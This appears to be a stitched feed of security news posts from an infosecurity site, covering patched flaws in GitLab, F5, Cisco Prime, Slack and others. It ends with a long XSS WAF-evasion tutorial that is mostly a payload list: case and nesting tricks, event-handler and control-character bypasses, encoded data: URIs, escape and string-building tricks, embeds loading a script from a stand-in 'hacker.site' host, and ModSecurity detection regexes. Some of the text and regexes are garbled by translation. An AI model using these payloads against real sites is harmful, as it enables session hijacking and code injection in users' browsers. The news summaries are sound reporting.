According to the report, GitLab fixed a total of eight vulnerabilities of all severity ranges, which exploitation would have allowed threat actors to deploy multiple hacking scenarios, including cross-site scripting (XSS), privilege escalation attacks, and even the installation of backdoors in GitLab projects. Detected and addressed flaws are described below, along with their tracking key and score assigned according to the Common Vulnerability Scoring System (CVSS).

Account takeover via SCIM email change: When setting up group SAML SSO, the SCIM feature would allow any owner of a Premium group to invite arbitrary users through their username and email address to subsequently change users’ email addresses through SCIM to a hacker-controlled address and take control of the affected account due to the absence of multi-factor authentication measures. The flaw received a CVSS score of 9.9/10 and was tracked as CVE-2022-1680.

XSS stored in Jira: A store cross-site scripting (XSS) error in Jira would allow threat actors to execute arbitrary JavaScript code in GitLab through specially crafted Jira issues. The flaw was tracked as CVE-2022-1940 and received a CVSS score of 7.7/10.

XSS attack in quick actions: The absence of input validation in quick actions would allow threat actors to exploit an XSS bug by injecting HTML into contact details. The flaw received a CVSS score of 8.7/10 and received the tracking key CVE-2022-1948.

IP allowlist bypassing when using Activation Tokens: Incorrect authorization in GitLab EE would allow threat actors to misuse an activation token from any location, even evading IP address restrictions. The flaw received a CVSS score of 6.5/10 and was tracked as CVE-2022-1935.

IP allowlist bypassing when using Project Deployment Tokens: Improper authorization in GitLab would have allowed malicious hackers using project deployment tokens to access from any location, even with IP address restrictions enabled. The flaw was tracked as CVE-2022-1936 and received a CVSS score of 6.5/10.

Incorrect authorization in Interactive Web Terminal: When the Interactive Web Terminal feature is configured, incorrect authorization would allow users with the Developer role to open terminals in running jobs of other developers, potentially exposing these jobs to hacking scenarios. The vulnerability was tracked as CVE-2022-1944 and received a CVSS score of 5.4/10.

Subgroup members can list members of the parent group: An issue in all versions of GitLab CC/EE would allow a member of the subgroup to access the list of members of their parent group. The vulnerability received a CVSS score of 4.3/10 and was tracked as CVE-2022-1821.

Group member lock bypass: Malicious group maintainers could add new members to a project within their group via REST APIs, even after group owners enable settings to prevent members from being added to projects within the group. The flaw was tracked as CVE-2022-1783 and received a CVSS score of 2.7/10.

GitLab adds that these fixes are part of its effort to maintain the highest security standards and improve the user experience. For more information, users can visit the FAQ section of GitLab, where more detailed descriptions of every single flaw and its corresponding security patches are found.

The code hosting and development service also offers its users to receive security notifications directly in their inbox through their contact page. To receive notifications of new update releases via RSS, GitLab users can subscribe to the GitLab Security Release RSS feed.

Feel free to access the International Institute of Cyber Security (IICS) websites to learn more about information security risks, malware variants, vulnerabilities, and information technologies.

The post 8 critical vulnerabilities in GitLab would allow hackers to install backdoors in your code appeared first on Information Security Newspaper | Hacking News.

Aethon has been manufacturing Tug robots since 2004, and there are currently thousands of them in hospitals in North America, Europe and Asia. This includes more than 37 hospitals in the U.S., the University of California-San Francisco Medical Center and Stanford Hospital.

The problems were identified by security firm Cynerio, and received scores between 7.7 and 9.8 according to the Common Vulnerability Scoring System (CVSS).

During their tests, the researchers discovered how easy it would have been to exploit these flaws in hospitals around the world: “The exploitation of JekyllBot:5 would have allowed hackers to gain access to real-time surveillance systems, medical device data, and access systems, with the potential to wreak severe havoc on medical facilities”,  notes the report.

The most severe of the flaws, tracked as CVE-2022-1070, exists because the affected machines do not verify the identity of users at both ends of the communication channel. This bug would allow unauthenticated hackers to connect to the Tug base server websock and control compromised devices remotely.

CVE-2022-1066 and CVE-2022-26423 are also evasion flaws that exist because the software does not perform proper verification, allowing malicious hackers to add new users with administrator permissions, in addition to restricting access to legitimate users and accessing encrypted credentials.

Finally, CVE-2022-27494 and CVE-2022-1059 were described as cross-site scripting (XSS) flaws in the fleet management console. These flaws exist because the software does not neutralize user-controllable input before placing it in the output, through the management console, allowing malicious hackers to hijack user sessions with high privileges or inject malicious code into the user’s browser through the console.

The manufacturer was immediately notified and updates were released soon after, so the security risk should have already been mitigated. So far there is no evidence of active exploitation.

To learn more about information security risks, malware variants, vulnerabilities and information technologies, feel free to access the International Institute of Cyber Security (IICS) websites.

The post Critical vulnerabilities allow hacking medical surgical robots and putting lives at risk appeared first on Information Security Newspaper | Hacking News.

According to the report, the vulnerability arose because no valid search operators were defined, so threat actors could inject SQL code after manipulating the ‘ALL’ or ‘ANY’ filter query operators in SearchCriteria. The flaw resides in all versions of Nexpose, also known as Security Console, up to v6.6.128.

Rapid7 fixed the flaw with the release of Nexpose version 6.6.129 in early March. This latest release also includes support for TLS 1.3 services, additional vulnerability checking for Log4j, and additional coverage against a Metasploit-based security flaw.

The Nexpose vulnerability scanner also contained a medium-severity cross-site scripting (XSS) flaw. Because it resides in the shared scan configuration, the XSS flaw would allow attackers to pass literal values such as test credentials, providing the opportunity for a potential XSS attack, the CVE-2022-0758 report notes. The vulnerability received a CVSS score of 6.1/10 and resides in Security Console versions 6.6.129.

The report of these errors was attributed to Aleksey Solovev, a security researcher at PT Swarm, the offensive team at Positive Technologies.

To learn more about information security risks, malware variants, vulnerabilities and information technologies, feel free to access the International Institute of Cyber Security (IICS) websites.

The post CVE-2022-0757: Rapid7 Nexpose SQL injection vulnerability, also known as security console: Patch immediately appeared first on Information Security Newspaper | Hacking News.

Since this is the most widely used content management system (CMS) in the world, this should be a worrisome issue for tens of millions of website administrators.

According to Patchstack specialists, of all the flaws reported in 2021, only 0.58% resided in the WordPress core, while the rest affect themes and plugins created by dozens of developers. In addition, about 92% of these flaws are in free plugins, while paid plugins were affected by 8.6% of the failures reported last year.

Of all the vulnerabilities reported in that time period, five critical bugs were detected in 55 WordPress themes, most of them related to the abuse of the file upload feature.

Regarding plugins, 35 critical vulnerabilities were reported, two of which could be present in up to 4 million websites.

Some of the security issues in WordPress that caught the most attention of researchers reside in Optimonster, a plugin used in about 1 million websites, and in All in One, an SEO plugin with more than 3 million active installations.

Although these critical vulnerabilities were fixed, nine other plugins with millions of installations never received updates for the severe security flaws detected over the past year. In addition to uploading potentially malicious files, these plugins are affected by privilege escalation flaws and SQL injections.

On the most common security issues in WordPress plugins, the researchers note that cross-site scripting (XSS) errors are the most reported, followed by request spoofing flaws, SQL injections, and arbitrary file loading into the system.

Faced with this situation, experts recommend that website administrators acquire paid versions of plugins, use as few tools as possible on their platform and keep their plugins always updated to the latest version available, which will considerably mitigate their exposure to this kind of security risks.

To learn more about information security risks, malware variants, vulnerabilities and information technologies, feel free to access the International Institute of Cyber Security (IICS) websites.

The post 1 out of 3 WordPress plugins does not receive security updates; millions of websites at risk appeared first on Information Security Newspaper | Hacking News.

Below are brief descriptions of the reported flaws, in addition to their tracking keys and scorings assigned according to the Common Vulnerability Scoring System (CVSS).

CVE-2021-41182: The insufficient sanitization of values passed as the `altField` option of the Datepicker widget would allow remote attackers to inject and run arbitrary JavaScript code in affected users’ browsers.

This is a medium severity flaw and received a CVSS score of 5.3/10.

CVE-2021-41183: The insufficient sanitization of user-supplied data when processing values of various `*Text` options would allow remote attackers to pass specially crafted inputs to the library, thus running arbitrary JavaScript code in affected users’ browsers.

The flaw received a 5.3/10 CVSS score.

CVE-2021-41184: Insufficient sanitization of values passed to the `of` option would allow remote attackers to execute arbitrary JavaScript code in affected users’ browsers.

This is a medium severity flaw and received a CVSS score of 5.3/10.

Even though these vulnerabilities can be exploited by remote non-authenticated attackers via the Internet, there are no active exploitation reports related to the flaws described herein. Nonetheless, information security specialists recommend updating as soon as possible.

To learn more about information security risks, malware variants, vulnerabilities and information technologies, feel free to access the International Institute of Cyber Security (IICS) websites.

The post 3 XSS vulnerabilities in IBM Security QRadar SOAR: Update immediately appeared first on Information Security Newspaper | Hacking News.

Cloud Armor supports the definition of custom expressions, as well as providing a set of preconfigured WAF rules that are based on the OWASP ModSecurity core rule set to identify some of the most common cyberattacks.

This solution inspects incoming HTTP requests and compares them to user-defined rule-based policies. The Cloud Armor service can be configured to allow or deny a request to the underlying application based on the rules triggered by certain requests.

The Cloud Armor WAF component has a non-configurable HTTP request body size limit of 8 KB. In other words, Cloud Armor will only inspect the first 8192 bytes or characters of an HTTP POST request body. This is similar to the limitation of the WAF developed by Amazon Web Services (AWS), although in the case of Cloud Armor, the limitation is not such a widespread function.

Kloude cybersecurity specialists mention that Cloud Armor does not display a message or notice when configuring WAF rules from the web UI, and they can only find a reference to the 8 KB limit in a notice included in an informative article.

A threat actor could create a specially crafted HTTP POST request, exceeding the 8KB limit that hides a payload in the 8192 byte of the request body.

The risks arising from the exploitation of this vulnerability depend on the characteristics of the underlying system; according to experts, the attacked endpoint must accept and process HTTP POST requests in order to exploit other flaws. This attack will not have significant consequences if the endpoint does not accept HTTP POST requests.

In cases where system features allow, exploiting the flaw would allow other known attacks to be chained, including the widely exploited RCE vulnerability in Log4j.

Cloud Armor users are encouraged to check Google’s official platforms to find the most up-to-date information about this security risk and the best ways to mitigate exploitation risk.

To learn more about information security risks, malware variants, vulnerabilities and information technologies, feel free to access the International Institute of Cyber Security (IICS) websites.

The post Anyone can bypass the Google and AWS Web Application Firewall (WAF) with an 8 KB POST request appeared first on Information Security Newspaper | Hacking News.

The young researcher mentions that the vulnerability in webcams exists due to a set of issues in iCloud and Safari that threat actors could exploit to launch dangerous cyberattacks.

Successful exploitation would have allowed malicious hackers to freely access all of the affected user’s online accounts, from iCloud to PayPal, plus the ability to manipulate the microphone, webcam, and screen of the compromised device. Pickren mentioned that Apple has already addressed the flaw.

In his tests, the researcher exploited the “webarchive” files of Safari, the system that the browser uses to save local copies of websites: “A surprising feature of these files is that they specify the web source in which the content should be rendered. The hack allows Safari to reconstruct the context of the saved website; if an attacker can modify this file in any way, they could deploy a universal cross-site scripting (XSS) attack,” he says.

At first, Apple did not consider that this error could be exploited, since users would have to download the webarchive and open it, a mechanism implemented for more than a decade, at an early stage of Safari. However, Apple has had to address the flaw after Pickren submitted its report, acknowledging the potential for exploitation.

Officially, Apple’s rewards program can award up to $1 million USD for the most severe failure reports, classifying these errors according to various company criteria. Researchers are not required to publicly disclose how much money they have received from Apple, although this practice has become common in the cybersecurity community.

To learn more about information security risks, malware variants, vulnerabilities and information technologies, feel free to access the International Institute of Cyber Security (IICS) websites.

The post New vulnerability on Mac provides full access to iCloud accounts, PayPal and more of the affected users, as well as granting access to their microphone, camera and screen. The greatest reward ever delivered by Apple appeared first on Information Security Newspaper | Hacking News.

The researcher Andreas Finstad, in charge of the report mentions that when chained, these failures could completely compromise the Prime server and provide the attacker with a reverse shell. Apparently, the flaws exist due to a cross-site scripting (XSS) vector that is exploited through SNMP, a protocol used to discover devices on a network.

According to the report, Cisco Prime sends SNMP requests for the collection of information about network devices on the same network, including the address of an image file. Finstad placed a Linux-based device on the network and set the image address on a malicious JavaScript fragment hosted on a server controlled by the researcher, acting as an attacker. When the affected user’s server navigates to Prime’s device discovery page, the malicious script loads and runs in the browser, resulting in an XSS attack.

By abusing this feature, the researcher was able to exploit other vulnerabilities in a chained manner, starting by exploiting a flaw in the session identification cookie stored in LocalStorage, allowing access to the active session of the affected administrator.

Using the stolen administrator token, the researcher also tried to send commands to Prime’s management interface. Like most web applications, Prime’s management interface avoids such commands, although the abuse of a function for token generation eventually made it possible to evade cross-site request forgery (CSRF) protections.

This report notes how often similar vulnerabilities can be found in web application protection: “From a security perspective, the browser is not under the control of the client, so it is better to check the security on the user side,” says the expert.

To learn more about information security risks, malware variants, vulnerabilities and information technologies, feel free to access the International Institute of Cyber Security (IICS) websites.

The post 2 critical vulnerabilities discovered in Cisco Prime servers appeared first on Information Security Newspaper | Hacking News.

Below are brief descriptions of the reported flaws, in addition to their respective identification keys and scores assigned according to the Common Vulnerability Scoring System (CVSS). The flaws reside mainly in various versions of NGINX Controller API Management, BIG-IQ Centralized Management and NGINX App Protect.

• CVE-2022-23008 (CVSS 8.7): An authenticated threat actor could use undisclosed API endpoints in NGINX Controller API Management to inject JavaScript code into affected implementations
• CVE-2022-23009 (CVSS 8.0): An administrative role user authenticated on a BIG-IP device could access other BIG-IP devices managed by the same BIG-IQ system
• CVE-2022-23010 (CVSS 7.5): If a FastL4 profile and HTTP profile are configured on a virtual server, undisclosed requests can consume all affected system resources
• CVE-2022-23011 (CVSS 7.5): Virtual servers on some BIG-IP hardware platforms may stop responding while processing TCP traffic due to an issue in the SYN cookie protection feature.
• CVE-2022-23012 (CVSS 7.5): If an HTTP/2 profile is configured on a virtual server, undisclosed requests can cause the Traffic Management Microkernel (TMM) to forcibly close
• CVE-2022-23013 (CVSS 7.5): A DOM-based XSS flaw on an undisclosed page of the BIG-IP configuration utility would allow threat actors to execute JavaScript code in the context of the user with an active session
• CVE-2022-23014 (CVSS 7.5): When access to the BIG-IP APM portal is configured on a virtual server, undisclosed requests can force the closure of the Traffic Management Microkernel (TMM)
• CVE-2022-23015 (CVSS 7.5): When you configure a client SSL profile on a virtual server with Client Certificate Authentication and Session Ticket enabled and configured, SSL traffic processing can consume all resources in system memory
• CVE-2022-23016 (CVSS 7.5): If BIG-IP SSL Forward Proxy with TLS 1.3 is configured on a virtual server, undisclosed requests can force the traffic management microkernel (TMM) to close
• CVE-2022-23017 (CVSS 7.5): When a virtual server is configured with a DNS profile with quick response mode settings enabled and configured on a BIG-IP system, undisclosed requests can force the Traffic Management Microkernel (TMM) to close
• CVE-2022-23018 (CVSS 7.5): When a virtual server is configured with HTTP protocol security and HTTP proxy connection profiles, undisclosed requests can force the traffic management microkernel (TMM) to close
• CVE-2022-23019 (CVSS 7.5): When a message routing type virtual server is configured with router session profiles in BIG-IP, undisclosed traffic can cause excessive consumption of memory resources
• CVE-2022-23023 (CVSS 6.5): Undisclosed requests by an iControl REST user authenticated to BIG-IP could cause an increase in memory resource utilization
• CVE-2022-23026 (CVSS 5.4): An authenticated user with low privileges in BIG-IP could load data using an undisclosed REST endpoint, generating a disproportionate increase in system resources
• CVE-2022-23027 (CVSS 5.3): When a FastL4 profile and an HTTP, FIX, or hash persistence profile are configured on the same virtual server, undisclosed requests can cause the virtual server to stop processing new client connections
• CVE-2022-23028 (CVSS 5.3): When AFM SYN global cookie protection is enabled on BIG-IP, on the AFM Dos device or the DOS profile, certain types of TCP connections will fail
• CVE-2022-23029 (CVSS 5.3): When you configure a FastL4 profile on a virtual server, undisclosed traffic may cause an increase in memory resource utilization
• CVE-2022-23030 (CVSS 5.3): When BIG-IP Virtual Edition (VE) uses the ixlv driver and TCP segmentation offload settings are enabled, undisclosed requests can cause a disproportionate increase in CPU resource usage
• CVE-2022-23031 (CVSS 4.9): An XML External Entity (XXE) flaw in an undisclosed page of F5 Advanced Web Application Firewall and BIG-IP ASM Traffic Management User Interface would allow authenticated threat actors to access local files and force BIG-IP to send HTTP requests
• CVE-2022-23032 (CVSS 3.1): When proxy settings select the network access resource of a BIG-IP APM system, the BIG-IP Edge Client connection on Mac and Windows may be exposed to DNS relay attacks

A detailed report of the flaws is available on the official F5 platforms; the company claims that no active exploitation attempts have been detected, although it recommends users of affected deployments to update as soon as possible.

To learn more about information security risks, malware variants, vulnerabilities and information technologies, feel free to access the International Institute of Cyber Security (IICS) websites.

The post 25 vulnerabilities in F5 firewall and other products: Patch immediately appeared first on Information Security Newspaper | Hacking News.

Among the vulnerabilities addressed, cross-site request forgery (CSRF) and cross-site scripting (XSS) flaws stand out, which could be exploited to deploy actions impersonating legitimate users; in addition, a vulnerability was addressed that could give attackers full access to charging stations via brute force attacks. The most severe of the flaws received a score of 9.3/10 according to the Common Vulnerability Scoring System (CVSS).

The company warns that exploiting the critical flaw could lead to severe risk scenarios: “Malicious manipulation of charging stations could lead to denial of service (DoS) attacks, deregistration, and disclosure of sensitive information,” Schneider’s notice states. Exploiting most of these vulnerabilities would require physical access to the system’s internal communication ports, although some complex attacks can be exploited remotely over the Internet.

Tony Nasr, a researcher who initially reported the vulnerabilities, mentions that the bugs involve sending specially crafted requests and exploitation does not require interaction from vulnerable users: “Attacks allow threat actors to exploit compromised EVCS in a similar way to the operation of a botnet, allowing the deployment of various attacks.” However, exploiting the CSRF and XSS vulnerabilities requires specific levels of user interaction.

The researcher adds that while the most dangerous attack vector points to Internet-oriented EVlink implementations, cybercriminals could still create a severe security risk for these stations over LAN, as the EVlink configuration requires network connectivity for remote control and more efficient management.

Nasr concluded by mentioning that these vulnerabilities were found as part of a larger study on electric vehicle charging station management systems. Full results of the study will be available in the coming months.

To learn more about information security risks, malware variants, vulnerabilities and information technologies, feel free to access the International Institute of Cyber Security (IICS) websites.

The post Vulnerabilities in thousands of EVLINK electric vehicle charging stations could reduce your car to ashes appeared first on Information Security Newspaper | Hacking News.

The flaw, described as a cross-site leak (XSLeak), would allow a threat actor to evade the same-origin policy, a security measure that prevents tabs and frames from different domains from accessing data in other browser tabs.

Similar conditions were found a couple of years ago in image sharing features on Facebook, Twitter and other platforms. When users upload an image, the host service creates a unique URL for that resource that can only be accessed by the parties within the thread. Threat actors can abuse this mechanism to create a unique URL for a target user and then redirect browsers to another website by requesting the same URL.

Apparently, the flaw in XSLeak depends on hackers having a user account in the same Slack workspace as the target user in order to send direct messages. When a file is uploaded to a direct messaging channel, Slack creates a URL that can only be accessed by members of the conversation, so other users who click on this URL would be redirected to the Slack homepage.

Slack uses the “SameSite = lax” directive to protect its session cookie, which means it is only available for domain requests under specific conditions. The report demonstrates that with simple JavaScript code, a threat actor can create a web page that bypasses SameSite protection and thus obtain the URL.

It is worth mentioning that the bug is not always exploitable, as it does not work in the desktop and mobile application, so it can only be used on the Slack website for Chromium-based browsers. Due to its features, Slack decided not to release updates to address this bug, arguing that the affected feature is only used by members of secure work environments, so intrusion by an unauthorized user is considered unlikely.

Finally, the platform issued a statement making it clear that it is users who will need to take care of their backs: “The best way to prevent attacks between members of a workspace is to make sure that everyone in your workspace is a member or trusted partner.”

To learn more about information security risks, malware variants, vulnerabilities and information technologies, feel free to access the International Institute of Cyber Security (IICS) websites.

The post Critical vulnerability in Slack allows fingerprinting attacks on users appeared first on Information Security Newspaper | Hacking News.

Given the popularity of this attack technique, many researchers have specialized in analyzing this attack technique and thus collaborate for the creation of a complete security environment, although threat actors have also published their own guidelines for the deployment of powerful XSS attacks.

This time, web application security experts from the International Institute of Cyber Security (IICS) will show you the main XSS attack vectors abused by hackers, as well as some of the most common practices to address this risk. Before proceeding, please remember that this article was prepared for informational purposes only and should not be taken as a call to action; IICS is not responsible for the misuse that may occur to the information contained herein.

According to specialists, these are the most common scenarios that can be found:

• The XSS attack vector is blocked by a security application or tool
• XSS attack vector is disinfected
• The browser filters or blocks the XSS attack vector

Web application security experts will show us some tactics to evade these security measures, employed by threat actors to find new XSS attack vectors.

Blacklist bypassing

This is one of the most popular security measures due to its ease of implementation. The blacklist detects certain patterns in order to prevent malicious activity in a continuous and effective way.

XSS Code Injection

The tag <script>is the primary method for executing client-side XSS attacks, such as JavaScript.

Evasion of weak security measures on the use of labels<script>

Filters can be weak and not cover all possible cases, web application security experts say. Below are some examples of how to circumvent weak prevention measures.

<ScRiPt>alert(1);</ScRiPt> - Upper- & Lower-case characters
<ScRiPt>alert(1); - Upper- & Lower-case characters, without closing tag
<script/random>alert(1);</script> - Random string after the tag name
<script>alert(1);</script> - Newline after the tag name
<scr<script>ipt>alert(1)</scr<script>ipt> - Nested tags
<scr\x00ipt>alert(1)</scr\x00ipt> - NULL byte (IE up to v9)

ModSecurity> Rule filtering <script> tags

This is how ModSecurity filtra la etiqueta <script>:

SecRule ARGS

"(?i)(<script[^>]*>[\s\S]*?<\/script[^>]*>|<script[^>]*>[\s\S]*?<\/script[[\s\S]]*[\s\S]|<script[^>]*>[\s\S]*?<\/script[\s]*[\s]|<script[^>]*>[\s\S]*?<\/script|<script[^>]*>[\s\S]*?)"

Obviously, this isn’t the only way to inject XSS code. There are several ways to execute malicious code, including using HTML tags and their associated event handlers.

<a href="javascript:alert(1)">show</a>
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">show</a>
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data="javascript:alert(1)">
<object data="data:text/html,<script>alert(1)</script>">
<object data="data:text/html;base64, PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
<object data="//hacker.site/xss.swf">
<embed code="//hacker.site/xss.swf" allowscriptaccess=always>

Events are how HTML DOM adds interactivity between a website and its visitors; this is achieved by simply running client-side code, web application security experts mentioned.

Almost all event handler identifiers begin with “on” and are followed by the event name.

Onerror is one of the most used:

<img src=x onerror=alert(1)>

But there are many other events.

Here are some examples of HTML 4 tags:

<body onload=alert(1)>
<input type=image src=x:x onerror=alert(1)>
<isindex onmouseover="alert(1)" >
<form oninput=alert(1)><input></form>
<textarea autofocus onfocus=alert(1)>
<input oncut=alert(1)>

On the other hand, below we can find some examples of HTML 5 tags:

<svg onload=alert(1)>
<keygen autofocus onfocus=alert(1)>
<video><source onerror="alert(1)">
<marquee onstart=alert(1)> 

From a web application security standpoint, the solution is to filter out all events that begin with the ‘*’ character to prevent this attack vector from being used.

This is a very common regular expression that we can find:

(on\w+\s*=)

Thanks to the combination of the “dynamism” of HTML and browsers, we can easily overlook this first filter:

<svg/onload=alert(1)>
<svg//////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)> 

So, we have an “update”:

(?i)([\s\"';\/0-9\=]+on\w+\s*=)`

Still, there is still a problem. Since some browsers convert the escape character into space, the s alone is not enough to cover all possible characters.

Let’s look at some alternative solutions:

<svg onload%09=alert(1)>
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2C%3B=alert(1)>
<svg onload%0B=alert(1)>

We have the first set of control characters that can be used between the attribute of the event name and the equal sign (=), or just before the event name:

IExplorer = [0x09,0x0B,0x0C,0x20,0x3B]
Chrome = [0x09,0x20,0x28,0x2C,0x3B]
Safari = [0x2C,0x3B]
FireFox = [0x09,0x20,0x28,0x2C,0x3B]
Opera = [0x09,0x20,0x2C,0x3B]
Android = [0x09,0x20,0x28,0x2C,0x3B 

Moreover, browsers are constantly evolving, so some of the allowed characters may no longer work. You can run it in your browser or view the results of previously tested browsers. The valid regular expression rule must be as follows:

(?i)([\s\"'`;\/0-9\=\x00\x09\0A\x0B\x0C\0x0D\x3B\x2C
\x28\x3B]+on\w+[\s\x00\x09\0A\x0B\x0C\0x0D\x3B\x2C\x28\x3
B]*?=)

Keyword filter

Other problems that a signature-based filter can offer include restricting the execution of script code by blocking the use of certain keywords such as alert, javascript or eval, web application security experts mention.

Methods of evasion

There is something known as escape characters in JavaScript that allow us to execute code instead of processing it literally.

Let’s imagine that we need to evade a filter that prevents the alert keyword from being used in the following scenarios.

Unicode > escape characters

<script>alert(1)</script> Alert(1) <— Blocked

Here we see the evasion of Unicode without using native functions:

<script>\u0061lert(1)</script>
<script>\u0061\u006C\u0065\u0072\u0074(1)</script> 

The escape of Unicode using native functions can also be seen here. Keep in mind that eval is just one of many:

<script>eval("\u0061lert(1)")</script>
<script>eval("\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029")</script> 

Escape characters> Decimal, Octal, Hexadecimal

If the filtered vector is in a string other than Unicode, we can use multiple escapes:

<img src=x onerror="\u0061lert(1)"/>
<img src=x onerror="eval('\141lert(1)')"/>
<img src=x onerror="eval('\x61lert(1)')"/> 

• eval (‘ 141lert (1)’) <—– Escape octal
• eval (‘ x61lert (1)’) <—– Escape hexadecimal

<img src=x onerror="alert(1)"/>
<img src=x onerror="alert(1)"/>
<img src=x onerror="eval('\a\l\ert\(1\)')"/> 

• to <—– Hexadecimal numeric character
• to <—— NCR decimal
• ‘alert (1<—— Superfluous Escape Character

All exhausts can be put on one line.

<img src=x onerror="\u0065val('\141\u006cert\(1)')"/>

Chain construction

To bypass filters, you need to know how to build strings. For example, the alert keyword is restricted as usual, but most likely “ale” + “rt” will not be recognized. Below, web application security experts will show us some examples.

JavaScript has several functions that are useful for creating strings.

/ale/.source+/rt/.source
String.fromCharCode(97,108,101,114,116)
atob("YWxlcnQ=")
17795081..toString(36)

Execution

Previously, we used the eval function to execute code and events associated with various tags. Execution receivers are functions that parse a string in JavaScript code and JavaScript provides several options.

The reason we need to look at these functions is because if we can control one of them, we can execute JavaScript code.

Here are some examples:

setTimeout("JSCode") //all browsers
setInterval("JSCode") //all browsers
setImmediate("JSCode") //IE 10+
Function("JSCode") //all browsers

An interesting variation of the function receiver:

[]. constructor.constructor(alert(1))
.[] <—— Object
.constructor <——Array
.constructor <—— Function
(alert(1)) <—— XSS Vector 

Pseudo protocols

Javascript is a pseudo protocol that refers to the “unofficial URI scheme”. Calling JavaScript code from a link is useful. Most filters recognize the javascript keyword followed by colons as a common pattern:

a href="javascript:alert(1)">

It’s important to remember that javascript: it’s not required for event handlers, so web application security experts recommend against using it. We can use all of the above options because the pseudo protocol is often entered within a chain.

Let’s look at some examples:

<object data=“javascript:alert(1)”>

javascript <—— Blocked

<object data="JaVaScRiPt:alert(1)">
<object data="javascript:alert(1)">
<object data="java
script:alert(1)">
<object data="javascript:alert(1)">
<object data="javascript:alert(1)">
<object data="javascript:alert(1)">
<object
data="javascript:alert(1)">

In addition to javascript: there is also data: (RFC 2397) and an exclusive vbscript: for Internet Explorer.

Let’s see how they work.

Small data elements provided with different media types can be included in the data URI schema. Here’s what the structure looks like:

data:[<mediatype>]
[;base64],<data>

The text / html and the base64 indicator that allows us to encode our data are the types of media that interest us the most. Let’s take a look at some examples.

If javascript: is blocked:

<object data="data:text/html,<script>alert(1)</script>">
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="> 

• PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg == <—– Base64 Encoded

<embed code="data:text/html,<script>alert(1)</script>"> 

• data: <—— Blocked

If data: is blocked, it is best to use:

<embed code="DaTa:text/html,<script>alert(1)</script>">
<embed code="data:text/html,<script>alert(1)</script>">
<embed code="data:text/html,<script>alert(1)</script>">
<embed code="data:text/html,<script>alert(1)</script>">

Because it can only be used in Internet Explorer, the pseudo vbscript protocol is not widely used; VBScript no longer supports the Internet zone in IE11 in Edge mode. Let’s take a look at some scenarios.

To call VBScript, we can use vbscript: as well as vbs:

<img src=a onerror="vbscript:msgbox 1"/>
<img src=b onerror="vbs:msgbox 2"/>
<img src=c onerror="vbs:alert(3)"/>
<img src=d onerror="vbscript:alert(4)"/>

Unlike JavaScript, the code is not case sensitive until version 8. When the app changes the input, it’s really useful.

<iMg src=a onErRor="vBsCriPt:AlErT(4)"/>

If vbscript: is blocked, we could use the usual encoding methods:

<img src=x onerror="vbscript:alert(1)">
<img src=x onerror="vbccript:alert(1)">

Sanitization Bypass

Instead of blocking the entire request, security systems often choose to disinfect suspicious XSS vectors. Most likely, these are the filters we will find during our experiments.

The most commonly used HTML encoding of some important characters, such as (<), > (>), etc. This is not always enough, because it depends on where the untrusted data is inserted into the page.

In some cases, the filter can change its vector by removing dangerous phrases. For example, delete the tags <script>.

The rule simply removes the first instance of the matching expression, which is a common mistake with this behavior.

Remove HTML tags

For example, <script>alert (1) </script> is properly disinfected for alert (1), but since the verification is not recursive:

<scr<script> ipt>alert(1)</script>

This could be a solution.

If a filter runs recursive tests, you should always check if it can be used. Changing the sequence of inserted rows can be useful.

Let’s take a look at an example.

Recursive testing may be fine. They start with one label <script>, then the next, and so on, without going back to the beginning to see if there are more dangerous lines.

The following vector can be a workaround:

<scr<iframe>ipt>alert(1)</script>

Of course, if we know or can guess the sequence, we can generate more complex vectors and possibly use multiple character encodings, as we saw in Skip Blacklist Filters.

It all depends on the filter we are addressing, mention the experts in web application security.

Escape quotes

These are HTML tags, and the embeddings are usually within strings in quotation marks. To avoid this type of character, filters typically place the backslash character () in front of quotation marks.

To avoid this, the backslash should also be avoided. Consider the following code, where we can manipulate the randomkey value, but the quotation marks escape:

<script>var key = 'randomkey';</script>

Instead of randomkey, if we enter randomkey’alert (1); then we have a solution. This is because the application avoids the apostrophe by converting our entry into randomkey’alert (1); //.

But this will avoid only the backslash, which will allow us to finish the line and enter the warning code. One of the useful Methods of Javascript is String.fromCharCode(). This allows us to generate strings from a sequence of Unicode values.

We could also play with the unescape method to escape the generated chain. For example, we could escape the string using the .source method.

unescape(/%78%u0073%73/.source)

Although this feature is obsolete, many browsers still support it.

In addition to this, there are the decode URI and decodeURIComponent methods. In this case, the characters must be URL-encoded to avoid incorrect URI formatting errors.

decodeURI(/alert(%22xss%22)/.source)
decodeURIComponent(/alert(%22xss%22)/.source) 

These methods would be useful if you could inject them into a script or event handler, but you can’t use quotation marks because they’ve already escaped. Remember that each will return a string, so you need an execution receiver (IE: eval) to execute the function.

Protect your web applications from XSS attacks

Filtering methods are not a solution in themselves, as hundreds of ways to evade filters and new attack vectors are constantly emerging. Filters do not prevent XSS attacks; rather, they remove a small part of the code patterns that can be used in such an attack; in fact, instead of blocking the malicious code, filtering solves the wrong problem by trying to avoid any calls that load the wrong code itself.

Developers and users can have a greater impact on web application security than any filter, so it’s important to increase awareness of these kinds of issues in order to avoid their frequent occurrence.

To learn more about information security risks, malware variants, vulnerabilities and information technologies, feel free to access the International Institute of Cyber Security (IICS) websites.

The post How to hack into WAF (Web application firewall) using XSS attacks? appeared first on Information Security Newspaper | Hacking News.